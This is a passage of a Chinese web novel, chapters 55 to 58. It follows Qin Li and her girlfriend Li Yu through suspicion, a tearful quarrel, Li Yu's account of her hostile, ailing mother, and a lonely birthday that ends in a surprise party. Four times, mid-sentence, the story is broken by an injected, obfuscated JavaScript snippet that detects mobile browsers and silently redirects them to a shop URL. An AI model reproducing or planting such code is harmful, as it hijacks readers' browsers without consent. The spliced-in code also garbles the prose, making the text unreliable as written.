“应该……不回来?” “好啦,那回头我们再给你庆祝生日哦。” “好~^0^” 有室友的关心,想到郭平她们也在问她生日怎么安排的,秦离心中熨帖。 到黎羽公司的路线,秦离已经很熟了。 过去的地铁上,秦离在翻企鹅群的消息,有之前唱歌公会的,cos的,还有各种大大小小的动漫和cp群,时不时冒泡。 她也认识群里这些基友好几年了,大家都从快乐的二次元党逐渐变成社畜,慢慢开始说越来越多三次元的事,逐渐被生活和社会的苦痛折磨着。 看见秦离出现,有两个基友给她发了私聊。 一个是之前公会的大姐,叫玄霄,现在在做游戏解说,问她有没有空跟她一起搭一期恐怖游戏解说。还有一个是一对冷门cp的圈内太太,提到近期她们准备做个cp同人合集,问她要不要产点粮一起发。 秦离想了想,两个都应下了。 今年,她的精力都被黎羽的事和考虑未来给耗尽了,休息时间只想躺在床上,没有去漫展,也没列cos计划。 但……沉浸二次元真的太快乐了,让人忘记一切烦恼。 哎,人要是不用考虑未来,不用工作就好了。 到公司楼下时,秦离正好遇见董老师带着个小女孩在门口的小店买章鱼小丸子。 看见秦离,董老师主动跟她打招呼,又叫小女孩问好。 “小离姐姐好!” 秦离对上号,这应该就是董老师的妹妹甜甜了。 “来找黎羽的吗?” 秦离点头,跟董老师寒暄了几句。 两人等章鱼小丸子出炉时多聊了会,不知怎么聊到了家庭的话题。 董老师感慨:“我妈爸常年都在国外,就我和甜甜两个人在家,没办法,我只能经常带着她一起到公司了。” “嗯?”秦离一开始没反应过来,接着突然想到上次在柳城接她电话的陌生女孩,疑惑,“只有你们两个,没有其她姐妹吗?” 董老师觉得她问的有点奇怪,但还是回答:“我家就我和甜甜两姐妹。” “这样啊……” 那上次那个陌生女人是谁…… 黎羽……说谎了吗? 见秦离脸色有点奇怪,董老师问道:“怎么了?” 秦离摇摇头。 两人等甜甜吃完才上楼。 因为心不在焉,秦离的动作慢了点。 进门的转角口,秦离看见黎羽了。她被好几个人围着,似乎在说什么事,说得很开心,其中有个女孩站得离黎羽很近,看着她的眼里满是仰慕。 黎羽也笑着,是那种秦离没见过的笑,笑得很……显眼,而且态度……很主动。 两人之间没有亲密的举动,但秦离看得很不舒服。 刚得知黎羽可能说的谎言,加剧了这种不舒服。 秦离想,她或许不应该来公司找黎羽。 或许……她们还没有到能谈未来的时候。 秦离转身离开了。 电梯还停留在这层,她脚步越来越快,最后近乎跑起来。 她满脑子只有离开,快点回去。 公司里,董老师牵着甜甜进去,喊黎羽:“秦离来了。” “秦离……”她转身,却发现身后空无一人,“奇怪,人呢?” “小……她来了?” 黎羽有些意外,心里莫名有点慌,想要出去找她。 这时,刚刚缠着黎羽的女孩子叫住她:“黎羽,我刚刚的提议,你觉得怎么样呀?” “很好。” 黎羽面上仍然笑着应她,但眼里带着不耐,只是藏得很好,没被女孩看出来。 “那好哦,说好晚上一起吃饭,我还叫了妈妈一起,到时候我们可以好好聊下项目内容了。” 黎羽有些犹豫。 这时,董老师适时解围:“孙老师,黎羽这会有点事得出去下,我这边先跟您初步交流下项目内容,也带你认识认识我们工作室的其他老师,您看怎么样?” 女孩有点不情愿,但见黎羽确实有点急,才勉强答应:“好吧,那你记得晚上的饭局呀。” 黎羽很累了,但女孩的母亲才是她们需要争取的客户,而且是迄今为止最大的客户。所以,她不得不继续陪着笑应下。 没办法,谁让这个女孩对黎羽有好感呢。 对方没有很出格的举动,黎羽也不好拒绝,只能点头应下。 终于摆脱女孩的纠缠,黎羽快步跑了出去,四处张望却没看到秦离的身影。 她压下心底的不安,给秦离打电话。电话一直占线,拨了三四次,秦离才接通。 电话那边,是长久的沉默,还有哐哐的地铁声。 “……小乖?”黎羽的声音有点干涩。 “……嗯。” 隔了很久,秦离才回应,声音很小。 黎羽故意笑着说:“要来怎么不提前跟我说,就这么跑了?” 听见她的笑,秦离胃液翻滚得更厉害了。 “阿羽,”秦离声音很疲惫,“我有点累,不太想说话。” 黎羽顿住,心脏有点难受,像是被虫子啃咬着。 “小乖……”她也不知道自己为什么解释了句,“今天你来的时候,我正在跟客户谈项目……” 她突然想说很多,想说她工作里遇到的那些麻烦,想说她付出多少努力,才和合伙人一起将公司发展到现在这样。 她还想说…… 说她们能在梦城…… 这时,秦离突然打断她:“阿羽, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370185|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我今天真的很累了,地铁上信号不太好,我们晚点再说,好吗?” 黎羽从来没听过她那么客气的语气,哽住了,刚刚心中满满的话,现在一个字也说不出来。 最后,她只能依旧笑着道:“好哦,那你回去好好休息,等我回来。” “嗯,再见。” “……再见。” 听筒两边都沉默了很久,最终是秦离受不了了,先挂了电话。 地铁上,秦离靠在角落的位置,将耳机声音放得很大,音乐淹没了世界,隔绝一切。 大街上,黎羽仍将手机放在耳边,听着里面的嘟嘟声,呆在原地,久久没有动作。 不知道站了多久,黎羽低着头,嘴角勾起笑容,笑得很难看,但是,必须有笑容。 她转身走进公司,上楼。 还有工作,还有不得不做的事。 秦离半睡半醒间坐过了站。她浑浑噩噩,不知道自己是怎么回到宿舍的。 “离离?”李清韵见她状态不对,问道,“你怎么了,怎么这么快就回来了?” 秦离不想说话,含混着说自己想睡觉了,爬上床,用蚊帐将自己关在密闭空间里,睡意包裹住自己。 终于,有了一丝安全感。 睡吧,睡着了就不会有任何烦恼了。 醒来时是半夜了,黎羽给了她发了许多消息,又问她生日有什么安排,有没有什么想做的事。 秦离没有回消息。 她又打开企鹅群,深夜了,依旧有群友活跃着。 秦离跟大家闲聊了几句,没什么睡意,索性打开文档开始码字。 已经答应了要写同人,秦离便放着歌,开始酝酿思路。 本来她一早的设想是两人的甜蜜日常,但现在满脑子都是难过的事,最后放着悲伤的情歌,写了个很虐的短篇。 不需要酝酿感情,自然而然的,越写越虐。 可能这个故事真的太虐了,秦离的泪止不住地往下流,无声地流着,很快就连屏幕都看不清了。 真好啊…… 这个故事写得真好啊…… 秦离流着泪,又笑着,将写好的故事发到群里。 这时候天已经微亮了,cp群里还有夜猫子同好,不知道是睡着还是醒着,还是一直醒着,快速读完,在群里感慨:“阿离,你这篇好啊,就是太虐了!呜呜……不过你是第一个发稿的,泪目!” 秦离还是笑着,跟群友聊了很久很久。 果然还是二次元最快乐,能够掩盖掉一切现实的痛苦。 后来,秦离好多了,也回了黎羽的消息,跟她说,那天是去市区参加活动,路过本来想去公司找她,但看她太忙,就还是走了。 至于情绪?或许确实就是最近太累了吧…… 学校的,家里的,好多事…… 这个借口很蹩脚,但黎羽看出秦离不想多提,便没再问。 况且,她自己又何尝不是有所隐瞒…… 等这个项目谈好…… 等这周忙完…… 等秦离的生日那天…… 等…… 原本无话不说的两个人,连消息都变得刻意和疲惫。 但未来……未来会好的……对吧? 56. Chapter 56 这周六,黎羽回来的时候,秦离正在和玄霄录制恐怖游戏的解说。 黑白画面的阴暗小女孩,需要躲开无数的死亡陷阱,有点黑/童/话的意味。玄霄已经提前录制好了通关视频,主控解说,秦离这边没有台本,只要配合她说点闲聊的话就行,很自由。 她知道自己讲得僵硬无趣,但有玄霄带着,开心就是了。 黎羽发消息来时,秦离刚和玄霄结束连麦。 不用考虑未来和现实,单纯做好玩、感兴趣的事,秦离的心情难得轻松。 看到消息提示,她的笑容消失,有些抗拒。 又是一贯的看电影、吃饭、闲逛,两人牵着手在爱琴海走着,你一句我一句,僵硬地说着各种话题,像是应付任务的NPC。 饭后,黎羽主动提出去学校河边走走,秦离应了。 今晚的天空黑漆漆的,没有月亮,星星也不见了,只有延绵不绝的阴影。 两人沉默着走了一段,手背擦着手背,却没有牵在一起。 秦离有些心不在焉。她想着蒸蒸那边说晚上给大家看同人本的成品设计图,不知道是什么样的。 “小乖……” “……” “小乖。” “……嗯?” 黎羽喊了几声,秦离才回过神:“怎么了?” 黎羽抿嘴,眼帘微垂,遮住大半情绪,问道:“在想什么?” “……没什么,一些玩乐的事。” 秦离有些累了,不想展开来解释,觉得麻烦。 黎羽将背包带子抓得紧了些。 “你……不开心吗?” 看着黎羽情绪不高,秦离心里也不好受,却也提不起劲。她叹了口气:“我没有不开心,就是最近事太多,有点太累了。” “有什么事?” 黎羽语气难得直白,秦离动了动身体,觉得听着有点不舒服。 “上各种课,还有准备考试之类的。” 黎羽短暂顿了顿,才继续问道:“你还在准备出国考试吗?” 似乎……越过了她过往不踩的那道界限. 秦离终于意识到那点不舒服是什么了,像是小刺扎进肉里,不痛,却是瘙痒难耐的折磨,刺拉拉的存在。 明明黎羽的语气并不激烈,她却觉得听着像隐晦的责怪,怪她的隐瞒,她的过错。明明……她都忍着没有质问对方。 于是她也本能将解释的话藏在心里,声音变得僵硬:“嗯,下个月有GRE考试。” “这样啊……” 两人之间又陷入沉默。 难耐的沉默,连空气都好像让人窒息。 手背与手背之间的距离变远了。 秦离已无法用其她事转移自己的注意力了。 她单手抱着手臂,感受着那点难耐的微刺感挥之不去,终于忍不住开口,问出已经萦绕在心里好几天的问题:“去年十月底的时候……我考雅思那次……你回柳城了……” “……” “当时接我电话的陌生女人到底是谁?” “什么……” 黎羽一愣。 “……她不是什么董老师的妹妹,对吗……” 黎羽似乎想到她说的是什么时候了,眼神闪烁。 昏暗的路灯下,秦离一直盯着她的脸,即使团团阴影,也没有错过她的眼神。 “你果然在骗我。” 这一刻,那点微刺扎进了心头,好像沁出了血珠,变成了微痛。 原本被压抑的情绪一点点流了出来,带着眼眶都变得湿润。 她倔强地盯着黎羽,眼睛瞪着,忍住不眨眼,眼泪却止不住落下。 “不是的,我……她,确实不是,她是我一个朋友。” 黎羽起初含糊其辞,看着秦离满脸泪痕,终于是说了出来。 “别哭,小乖,你别哭。” 黎羽的手探出,不太稳,轻颤着,想为秦离拭去泪水。 秦离后退一步,避开她的手,但仍然大睁着眼,看着她。 黎羽动作僵着,只能看着秦离胡乱用手背擦去所有的眼泪,将脸蹭得很红。 “为什么要骗我?” 秦离的声音带着哭腔,从喉咙里挤出来,很干涩。 “我……” 黎羽又犹疑了。她张着嘴,却依旧无法袒露心底最深处的怯懦。 秦离死死咬住下唇,在上面留下深红的痕迹,半天等不来一个答案。 “……你总是这样,什么都不肯告诉我。你那次回柳城真的是去工作的吗?那个接电话的女生,还有昨天,昨天凑到你面前的……” 黎羽这下解释得很快:“昨天那个只是客户。” 开口后,秦离已经听不进黎羽的解释了,只想把自己心中累积的情绪全部宣泄出来,到最后开始口不择言。 “……我不知道你心里在想什么,也不知道你见了什么人,干了什么。你总是那么忙,我们现在每周、每天都像例行打卡一样发消息,打电话,见面,你或许……或许都没好好看过我分享给你的那些东西。” “我还要小心翼翼,不能触碰你心里隐藏的部分,我真的好累……” 秦离的话是更赤裸裸的质问。 黎羽像被刺痛般,身体颤了颤,放下手,周身的气质一下子变得冷冽。 “你就是这样想我的吗?” 秦离从未听过黎羽这样的声音,像冬日的铁锈,冰冷的金属质感,比作为陌生人的初遇时刻还要冷淡。 “你根本不知道,我付出了多少努力,跟多少人陪笑脸,说好话,好不容易才将这点事业发展起来。我想做这些事吗?我想跟那些人打交道吗?那些人都让我觉得讨厌,不是为了未来能在梦城扎根,我做什么这么拼。我难道不想每天什么都不干,吃喝玩乐,开开心心过日子?” “你现在来怪我,怪我平时没能一直陪在你身边,呵。” 她的语气依旧平静,轻笑了声,听着无端透着讽刺。 “我只是个普通人,秦离,我没有你想象的那么厉害,不是万能的完美恋人。” “还有……” 黎羽顺着还要说什么,最终仍是将最隐秘的事吞进肚里。 即使是情绪激动的时候,不,或许正是这种时刻,她更无法暴露自己最脆弱的一面。 秦离自觉心中的委屈不比她少半分,不肯示弱,声音也越来越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370186|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大:“我知道你很辛苦,所以现在我都尽可能不去打扰你啊。” “我知道,我没有你厉害,没有社会经验,未来一片茫然。但我也在很努力,努力想着未来做什么,怎么留在梦城,想着……我们的未来……” 黎羽没说话,但秦离看见了她的表情,带着旁观的冷感。一瞬间,秦离感知到了她心里的想法。 她不相信。 秦离心里空落落的,风不住地往里透。她的眼泪又涌了出来。 她拼命解释着:“我真的在努力准备!我看了好多考研相关的介绍,买了全套考研的书,和同学一起蹲图书馆。我想着,在梦城读研,毕业后再找工作,就可以一直呆在这里了。” “我们都能留在梦城,先租房,以后等赚的钱多了,再买个小房子,放假的时候就去所有我们没去过的城市,甚至是国外,一起吃好吃的,看不同的风景……” 秦离畅想了很多,说得自己都动容,眼泪越流越多,模糊了眼前的一切。 黎羽沉默着,半天才道:“你不是还要考GRE吗?” 秦离将心底那点小心思说出来:“我想着课都上了,不考太可惜了,如果考得好,我就干脆去兼职培训老师,赚点外快。” “除了考试,我都没做其他准备了,我不想离开这里,不想离开你……” “而且……而且……” 秦离的胃很痛,喉咙也很痛,心,也很痛。 “而且,寒假的时候,我也不是故意关机不接你电话,不陪在你身边的。我妈知道我和你的事,气倒了,我和爸爸把她送去了医院,医生说是得了肺结核。” “我本来……本来没想说的,我不想给你压力……” 秦离一股脑将心里的话全倒出来,然后仿佛失去了所有力气,蹲在地上,将脸埋在怀里,缩成一团,昏昏沉沉。 黎羽抿着嘴,听着秦离含糊不清的话,原本外放的攻击性又收了回去。 她半蹲着,想要摸秦离的头,顿在半空中,最后轻轻放在她的背上,声音也放得很轻。 “我不知道这些……” 秦离不语,只是缩得更紧了。 黎羽虚虚环住她,但没有靠得很近,酝酿了很久的沉默,才深深叹了口气。 她的声音很疲惫。决意敞开自己的内心,让她怯懦犹疑。 “小乖,我只是个胆小又无能的普通人。如果让你看到我的真实面目,你一定会大失所望,说不定还会想,自己怎么会喜欢上这样的人。” 她的话里仍带着嘲讽,但这次是对着她自己。 秦离抬起头,头发乱糟糟的,眼睛通红,哽咽着:“你都不让我接触真实的你,怎么可以先入为主,觉得我就不会喜欢你,会失望呢?” 她为自己的伤心而藏起来,却在听见黎羽的自我否定时,忍不住再钻了出来。 黎羽愕然,随即好像被秦离袒露的直白感情刺到。她狼狈别脸,将秦离拥进怀里,声音带着胸腔微微震动。 秦离还未拭去的眼泪打湿了她的胸口,很快浸了进去,刚好落在跳得很快的心脏之上。 黎羽舔了舔嘴唇,干燥而刺痛。 “……我想想,怎么告诉你……” 57. Chapter 57 “其实,我之前每半个月都会回一次柳城,去……见我妈。” “她每两三天都会给我打电话,会骂我,吼我,问我要钱,也会……说好话,哄我。” 秦离有疑问,动了动。黎羽将她的头按在怀里,不让她看见自己的表情。 于是,秦离又安静下来,静静听她说。 “暑假的时候,你来找我,我当时跟你说,我妈生病了,后来出院去外地跑生意。” “那是骗你的。” “她没有出院,依旧在病床上躺着。” “其实当时,我真的很开心见到你,让我可以短暂忘记一切,不用去管她。” “还有柳城出差那次,确实跟工作无关。” “那时我妈在医院里做化疗,疼得受不了了,让我一定要回去,我……我拒绝不了。” “接你电话的是我妈朋友的女儿,也算是我的朋友。” “当时我守着我妈做完手术,她清醒后的第一件事,就是……对我说些……不太好听的话。说我,没良心,终于记得回来看她了,又说我这样不健康不正常的人,不该出现在她面前,晦气,说永远不会原谅我,说……” 秦离捂住她的嘴,不让她复述这些自伤的话。 黎羽握住她的手腕,轻轻的,不愿松开,手指在她的掌根摩挲着,继续说。 “当时我手机落在外间了,那个朋友大概是听到了我妈的那些咒骂,猜测场面太难看了,所以不好告诉你。” “确实……太难看了。” 说到这里,黎羽的声音也有点哽咽。 秦离心上发酸,带着绵密的刺痛,与之前不一样的疼,满满的全部为了自己的恋人。 她动弹着,忍不住开口:“那不是你的错……” 黎羽轻抚着她的后颈,不让她抬头。她的下巴靠在秦离的头上,将她紧紧地抱在怀里。 秦离感觉到有液体落在了自己头顶。 一滴,又一滴。 许许多多。 黎羽喉头动了动,习惯性将许多情绪咽了进去,好半天才接着开口:“就让我全部说完吧。” 秦离知道,黎羽不想让她看见自己这副模样,忍着心中的涩意不动了,只是回抱着黎羽。 抓住她,传递自己的体温。 “其实,我那次回去,就已经和我妈说清楚了。我不可能按照她的意愿生活,什么毕业就回柳城,找个男的结婚生子。我这辈子只可能喜欢女生,只会和女生在一起。我也不想回柳城,想呆在梦城,在这里扎根。” “我都说了,所有的话都说了。” “我妈把手边能拿起来的东西都砸了,让我滚,说就当没生过我这个女儿。” 黎羽全身都在颤抖,被拥抱着的秦离此刻成为她的依靠,支撑着她不倒下。 秦离想起来了,那次黎羽从柳城回来,难得情绪外露,看到她时特别开心。 原来……她在柳城跟她妈之间产生了如此大的冲突吗? “后来,我就没再回去了,她也没叫我回去,只是隔三岔五电话不断,还发很多消息过来,很多很多。我……都看了,她还生病着,我打了钱回去,我姑姑在照顾她。” 黎羽苦笑着:“你看,我确实是太没用了。想要坚持自己的人生却无法对亲人彻底无情,拉拉扯扯,犹豫不决,糟糕透了。” “不是的!” 秦离再次忍不住开口。 黎羽不想让她看见,她便没有抬头,声音带动着胸腔震动,顺着温热的体温直接传到黎羽心里。 “你做出了选择,勇敢说出来了,已经做得很好很好了!没事的,不是已经做到了吗?公司也步上正轨了,以后都会越来越好的!” 秦离轻轻拍着黎羽的背,安抚着她,自己之前的委屈已经全部变成对恋人的怜惜。 黎羽眼帘低垂,未尽的情绪仍深藏在眼底。 秦离突然想起,紧张道:“那你妈还打你没?你有没有受伤?” 说着,她的手在黎羽身上摸索着,害怕她把委屈都偷偷藏着。不知道她戳到了哪里,黎羽的身体一颤,向后躲开,引着秦离追了过去。 “阿羽!” 黎羽躲得更厉害了,声音喘着,退无可退,最后忍不住笑出了声:“小乖,别摸了,痒。” 秦离摸了个遍,确定她身上没有新的伤口,松了口气,这时才发现黎羽脸颊微红,眼尾渗出一点刚笑出来的泪珠,掩盖悲伤。 气氛变得微妙,空气黏黏的,像能拉出丝。 远处,有路人经过,说话和脚步声传来。 秦离后知后觉两人看起来都很狼狈,有些紧张,直到发现路人不是朝她们这个方向,走远了,才松了口气。 这时,黎羽也平复了情绪,看不见刚才表露的脆弱。 她摸了摸秦离的头,仔细将她脸上最后一点泪痕拭去,才道:“放心吧,她没有再打我。” 或者不如说,她的母亲已经病弱,躺在床上,不再像以前那样能轻易诉诸暴力。 秦离不知道这些,闻言放心了。她微仰着头,等着黎羽动作结束,看上去有点怪。 心情没有之前那么糟糕了,秦离也想起了前面的口不择言,向黎羽解释,声音软绵绵的:“我刚才就是急了,不是要责怪你什么。我就是……就是太想你了,想多跟你在一起开开心心的。” “我知道。”黎羽的声音也放得很轻,“抱歉,小乖,我现在真的,分身乏术,可能抽不出那么多时间陪你,有时会忽略你。等公司步上正轨,再多招点人,到时候就好了。等空下来,我们再一起去旅游,去海边。” “嗯。”秦离觉得刚才的自己有点任性,乖巧应着,“我没事,肯定是事业最重要呀,这是为我们未来在梦城的生活,对吧?” 说到后面,她的声音变小,仍有些不自信。为共同的未来打拼这种话对自觉还是学生的她来说,太羞赧了。 “嗯,为了我们的未来。” 黎羽重复得很肯定,声音清脆。 秦离终于笑了,褪去所有的阴霾,眼里只有对恋人的爱意。 黎羽也笑了,是更内敛的笑。 想到工作的事,她略微犹豫,还是将早就准备好的解释说了出来:“还有那天那个客户……” “没事的,阿羽,我相信你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370187|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 秦离觉得自己应该对恋人多点信任,不应该怀疑这怀疑那的,不然不就跟电视上那种恶俗八点档里对恋人刨根问底大吵大闹的炮灰女配一样了吗?这样爱情肯定不会幸福的。 黎羽还是坚持着说完。 “她是我们一个大客户的女儿,所以有时候我不得不出面稍微应付下。但董老师她们都懂的,我实在不想应付的时候,她们也会帮我打掩护。马上这个项目结束,这之后就不会再打交道了。” 秦离想起那天看到的那个热情的小女孩,心里有一点不舒服,但黎羽已经解释清楚了,她也不好再多说什么。 “就这个项目结束哦。” “嗯,这个项目结束。” 再等等,等之后,就好了吧。 秦离这么告诉自己。 “好了,我们别一直呆在这里了,好冷>_ 秦离手脚都变得冰凉。她站起来,身体不稳,紧急呼救:“阿羽!脚——脚麻了。” 黎羽站起来,也站得不利索。两人搀扶着,像六七十岁的老太太,颤颤巍巍挪到旁边的长椅。 坐下的那一刻,两人不约而同长舒了一口气,接着相视而笑。 坐在长椅上缓着,黎羽问道:“下周生日想怎么过?” “嗯……我们去做手工吧,轻松一点,我想做项链。” 她老早就看好地方了,爱琴海就有家店,这样比较轻松,黎羽不会太累。 “好呢。” “那~我的礼物是什么呀?” 黎羽笑道:“保密,到时候再给你。” “好吧。” 其实,秦离心里有点猜测。前几天,她看见黎羽在淘宝下单了一把多功能瑞士刀。 她老早就说过自己喜欢这个,一直想买一个。 黎羽大概是给她买的吧。 嘻嘻。 不过,秦离其实还很期待收到花。 都说花这种东西没什么实际用处,放两天就坏了,她从小到大都没收到过,真的很期待。但黎羽也是对花这种东西没什么兴趣的人,秦离又不好意思说自己想要。 要来的花,多没意思啊。 哎,什么时候能收到花啊。 黎羽不清楚秦离心中的想法,道:“那就说定了,下周五,我上午去公司开个项目会,中午就回来。” “好哦^0^” 秦离满心欢喜,回去的路上一直哼着歌。 有爱情的动力,接下来每天,除了专业课,她都基本在图书馆泡着,动力满满地准备考研,连常驻图书馆的陈小雨都感叹她最近好上进。 秦离平时也更注意,减少给黎羽发消息的频率,不分享那些琐碎的日常和乱七八糟的博文给她了。 黎羽也会主动跟她讲自己在做什么。估计着什么时间她有空,秦离才会多发点消息。 反正,自己要认真看书,也不能多闲聊,对吧。 她还提前在网上搜了许多羽毛的样式和制作教程,想着生日那天做个超级超级——超级好看的项链出来。 然而,计划终究是计划。 周五那天,她没能在约定的时间等到黎羽。 58. Chapter 58 周五上午公司原计划是开前阵子承接的梦城某区元宵活动的总结会,例行交流,没那么严肃,只是大部分合伙人刚好都在,就放在这个时候了。 偏偏黎羽接到了当时对接项目联络人的电话,对后续双方合作很感兴趣,希望能谈一谈童声合唱这个领域。对方的态度很是热切,言辞间恨不得马上就敲定方案。 机会难得,黎羽不想错过这个机会,犹豫着,最后还是给秦离发了消息。 【小乖,抱歉,我这边公司有点急事,中午估计来不及,你先自己安排,晚上我们再一起吃饭,给你庆祝生日。】 发完,她顿了顿,将事情的来龙去脉详细解释了番,想让秦离放心。 秦离的消息回得很快:【没事,工作重要,你先忙,我刚好把最近没看的番补了,等你昂![转圈][乖巧]】 看上去没有受影响,黎羽松了口气,放下手机去准备洽谈的事了。 另一边,秦离坐在椅子上盯着手机,表情却没有屏幕上的小人那么轻快。 心脏一下子沉寂,变得缓慢,身体像是生了锈的机械,轻轻挪动下都无比困难。她觉得很累,周围的人和景都像隔了层毛玻璃,朦朦胧胧,显得不真实。 她已经换上黑色JK服,马尾扎着个红色的大蝴蝶结,看着很可爱。但此时,她粗鲁地将蝴蝶结扯下来,扔在桌子上,带着几根长发。 “离离?” 原本兴高采烈的人突然没了声,李清韵转过身,看见她一脸丧气地缩在椅子上,手指抠着桌角的木屑。 “怎么了,不是要出门吗?” 秦离连回答都变得慢吞吞的:“她公司有事,得晚上才能回来。” “哎,怎么今天还有事啊。” 秦离闷着头,显然不想再说这个了。 “那下午怎么安排,要不要我陪你去做手工?” “我想歇一歇,等会再说吧。” 说完这句话,秦离已经耗尽全部能量了。她衣服也懒得换,直接爬梯子上床,将蚊帐一拉,将自己关在里面。 李清韵知道,她这是进入自闭状态了,得缓缓才行。她关掉宿舍灯,拉上窗帘,也不打扰她,只是想了想,给其她两个室友发消息。 理智上,秦离知道,这是突发事件,黎羽也解释得很清楚了,她应该支持她的事业。 但情感上…… 本来很期待下午两个人一起去手工店做项链的…… 她看了好多图,做了好多构想,还拉着学设计的基友问了好久…… 瞬间,所有情绪都变得一团糟,人生好像一败涂地。 秦离用被子将自己裹起来,在黑暗里找到了一点安全感。 她打开大眼,麻木地刷新,翻看互关的基友发的博。 cos正片、搞笑视频、动漫切片、个人吐槽…… 突然,她看到了蒸蒸发的同人本宣发。因为是冷cp,只印了100本,象征性收了个成本价,给同好们留作纪念了。 毕竟是冷门老番。 大眼上已经放上了试读,刚好选了秦离写的那篇。 看时间已经是三天前了,蒸蒸在企鹅群里有通知大家,只是秦离没看到。 这三天,已经有些人评论转发了。数量并不多,秦离看到熟悉的、不熟悉的ID表达支持喜欢,原本灰暗的心情慢慢变好些了。 就是大家都在哭哭,纷纷表示太虐了,还有人写了几百字的repo,表达对这对cp的喜爱,感谢大大创造的故事,真的很感动。 秦离看了好几遍那段repo,感觉有些飘忽。 那篇夹杂着泪水创作的文,出乎意料获得了很多肯定和喜欢。她当然知道,这些喜欢都是借了原作和cp人物的风,读者的所有情绪更多是向着原作本身,但这种正面反馈仍然让她开心。 创作在她眼里是件很难很难的事,如果上次不是情绪使然,她也写不出这么一篇完整的文,甚至还大胆地让蒸蒸做进同人本里。 她也被人叫大大了…… 好神奇的感觉…… 秦离获得了些微成就感,隐约好像找到了什么是自己想做的事。 那点快感长久在心里萦绕,覆盖了刚才产生的阴霾,甚至让她一度忘记了自己之前在为什么而痛苦。 她戴上耳机,将音乐声放到很大,覆盖整个世界的喧嚣,将自己保护起来。每段或高或低的旋律将她带进不同的情绪,她新建了个文档,写下新的灵感和故事。 想到什么写什么,想说什么写什么,不管故事有多么天马行空,奇思妙想。 秦离想到了好多小时候的事,那时候她还会写什么穿越进动漫里的故事,叫着月啊树啊风啊的校园言情故事,还有敌国公主王子的相爱相杀故事。 叫什么……枯萎的玫瑰花。 哈哈哈哈—— 秦离不禁笑出声,嘲笑小时候的自己。 但看着想法和情绪从指尖流出,跟着键盘的敲击在屏幕上形成文字,这种感觉真的好快乐。 秦离沉浸其中,直到李清韵来敲她的床沿:“离离,都快两点了,你还不吃饭啊?” “唔……等会等会!” 李清韵听她声音不像低落的样子,猜测她是沉迷游戏啥的了,心里也松了口气:“我这会下楼吃,要给你带饭不?” “门口炒饭就行。” “加鸡蛋和里脊是吧,知道了。” “爱你~” 李清韵出去后,很快就回来了,带了两份炒饭。 门口阿姨的手艺一如既往的棒。秦离下床,换上舒服的睡衣,边吃边给李清韵看自己刚才几个小时的成品。 “哇,离离,你在写小说了吗,也太厉害了吧!” “一般一般啦,我就是先试试。” 秦离嘴上说着谦虚的话,神情却很得意,眉飞色舞。 在李清韵的怂恿下,秦离甚至大胆地将刚写的一章发在了某绿色文学网站上。 要是……能当个作家,靠写文养活自己就好了啊。 某个时刻,秦离产生了这样的想法,随即又笑着摇摇头,嘲笑自己太异想天开。 不知不觉,天色慢慢暗下来了,一时的狂欢终究有冷却下来的时候。 秦离看了看手机,已经五点半了,黎羽刚发了条消息过来:【小乖,再等等,我这里马上就结束了,你饿了就先吃点东西哦。】 【好哦,没事,我还在宿舍和朋友玩游戏呢。[兴奋][揉脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370188|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ]】 【对不起,确实是突发情况,很快,一结束我就赶回来。】 【好。^0^】 李清韵看着秦离面无表情敲下撒娇卖萌的话,担忧喊道:“离离……” “没事,”秦离强行勾起笑容,“刚刚我们说到哪里了?” 这时,李清韵手机铃声响了,她看了看号码,遮掩着出去接了电话,很快进来对秦离道:“我出去下,马上回来。” “好,去吧。” 宿舍里恢复了寂静。秦离又看了下聊天界面,关掉又打开,又关掉,最后干脆烦躁地直接将手机关机,趴在桌子上,等李清韵回来。 难受,怎么都难受。 不知道过去多久了,好像……有脚步声上楼,开锁,房门打开…… “你回来……” “生日快乐!” 异口同声的三个声音,爆破声中,有彩带喷出来,落在了她的头上。 看着室友们都在面前,秦离呆住了,声音都变得哽咽:“你们……” 